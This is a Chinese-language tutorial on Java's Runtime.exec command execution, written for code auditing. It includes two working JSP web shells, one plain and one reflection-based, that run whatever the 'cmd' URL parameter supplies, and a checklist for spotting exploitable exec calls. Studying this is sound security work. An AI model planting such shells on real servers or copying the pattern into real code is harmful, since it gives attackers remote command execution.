0x01 前言
在Java中黑客最常用的命令执行方法就是通过java.lang.Runtime类 的 exec方法 来执行本地系统命令
因此学习好这个类的运行流程非常有必要
0x02 环境搭配
为了能模拟实战,这边搭建了一个JSP环境
如果还不会搭建jsp环境的可以按照下面的文章跟着搭建
Mac版IDEA创建maven web项目-详细过程: https://www.yuque.com/pmiaowu/gpy1q8/npv0fr
0x03 Runtime命令执行测试
# 在 webapp目录下面新建立一个文件: runtime-exec.jsp
# 文件名: runtime-exec.jsp
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 漏洞触发点
String cmd = request.getParameter("cmd");
BufferedReader in = new BufferedReader(
new InputStreamReader(
Runtime.getRuntime().exec(cmd).getInputStream(), "UTF-8"));
String line;
StringBuilder results = new StringBuilder();
while ((line = in.readLine()) != null) {
results.append(line);
}
in.close();
out.print(results);
%>
# 写好完毕以后启动项目
# request.getParameter("cmd") 就是我们可控的地方
# 表示url中 get请求的cmd参数
访问url:http://127.0.0.1:8081/mavenJspTest_war/runtime-exec.jsp?cmd=whoami
0x04 Runtime命令执行-反射调用
# 在 webapp目录下面新建立一个文件: runtime-exec2.jsp
# 文件名: runtime-exec2.jsp
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 漏洞触发点
String c = request.getParameter("cmd");
// 根据系统自动调用对应命令
String[] cmd;
String osName = System.getProperties().getProperty("os.name");
if (osName.toLowerCase().contains("windows")) {
cmd = new String[]{"cmd", "/c", c};
} else {
cmd = new String[]{"/bin/bash", "-c", c};
}
// 获取Runtime类对象
Class runtimeClass = Class.forName("java.lang.Runtime");
// 获取构造方法
Constructor runtimeConstructor = runtimeClass.getDeclaredConstructor();
runtimeConstructor.setAccessible(true);
// 创建Runtime类实例 相当于 Runtime r = new Runtime();
Object runtimeInstance = runtimeConstructor.newInstance();
// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass.getMethod("exec", String[].class);
// 调用exec方法 等于 r.exec(cmd); cmd参数输入要执行的命令
Process p = (Process) runtimeMethod.invoke(runtimeInstance, new Object[]{cmd});
// 获取命令执行结果
InputStream in = p.getInputStream();
ByteArrayOutputStream results = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int l = -1;
while ((l = in.read(b)) != -1) {
results.write(b, 0, l);
}
out.print(results);
%>
# 写好完毕以后启动项目
# request.getParameter("cmd") 就是我们可控的地方
访问url:http://127.0.0.1:8081/mavenJspTest_war/runtime-exec2.jsp?cmd=whoami%26whoami
命令执行效果如下:
0x05 Runtime命令执行的一个小坑
注意:在查找到exec可控的时候也不一定就是说真的是命令执行了
例如:
String c = request.getParameter("cmd");
cmd = "echo 123" + c;
Runtime.getRuntime().exec(cmd);
假设 变量c 是可控制的,那么可以命令执行么?
肯定会想,那我这样 "echo 123|whoami" 不就可以了
答案是不行的!
因为在exec跟进去的话就会发现里面会经过个StringTokenizer类之后返回了一个以空格分隔的数组
接着 echo 就是命令,echo 后面所有的都算是参数
因此要是发现了这种类似的代码,不要高兴太早
因为除非它最前面带的参数可以命令执行,不然就不能命令执行
例如:
方式一:
echo替换为 "cmd /c" 或是 "/bin/bash -c"
方式二:
cmd 替换为
new String[]{"cmd", "/c", c}
或是
new String[]{"/bin/bash", "-c", c}
这样子的才可以说有命令执行
0x06 Runtime命令执行调用链
Runtime.getRuntime().exec(cmd)调用链如下:
java.lang.Thread.State: RUNNABLE
at java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
at java.lang.ProcessImpl.start(ProcessImpl.java:134)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
at java.lang.Runtime.exec(Runtime.java:621)
at java.lang.Runtime.exec(Runtime.java:451)
at java.lang.Runtime.exec(Runtime.java:348)
at org.apache.jsp.runtime_002dexec_jsp._jspService(runtime-exec.jsp:10)
然后打开idea调试功能 启动项目
访问url:http://127.0.0.1:8081/mavenJspTest_war/runtime-exec.jsp?cmd=whoami
通过debug功能,得到整个调用链
如下图:
通过观察整个调用链可以发现, Runtime.exec()方法,只是命令执行的起点,执行的大概逻辑是:
1. Runtime.getRuntime().exec()
2. java.lang.ProcessBuilder.start()
3. java.lang.ProcessImpl.start()
4. java.lang.UNIXProcess()
5. UNIXProcess()里面的构造方法中调用了forkAndExec(xxx)
6. forkAndExec()里面根据不同系统windows/linux调用不同操作系统级别命令并返回PID
forkAndExec()方法被 native修饰了,这表示它是JAVA与C代码进行互操作的API
所以我们跟到 forkAndExec()方法 就可以了
有了这个简单的分析,我们可以简单的知道Runtime.exec()本地命令执行的流程了
一定要记得 Runtime.exec()方法 只是命令执行的入口点,不是终点
0x07 如何查找
1. Runtime.getRuntime().exec(cmd); 搜索该方法
2. 查看cmd变量是否可控制
3. 如果是字符串查看是否 "cmd /c" 或是 "/bin/bash -c"
在或是 承载的命令本身就类似 "cmd /c" 可以直接命令执行
4. 如果是字符串数组
查看是否类似这样
cmd = new String[]{"cmd", "/c", c}; // c变量外部控
或是
cmd = new String[]{"/bin/bash", "-c", c}; // c变量外部控
这样也可以命令执行
5. 如果是类似这样的,那么就无法命令执行
String c = request.getParameter("cmd");
cmd = "ping www.baidu.com" + c;
Runtime.getRuntime().exec(cmd);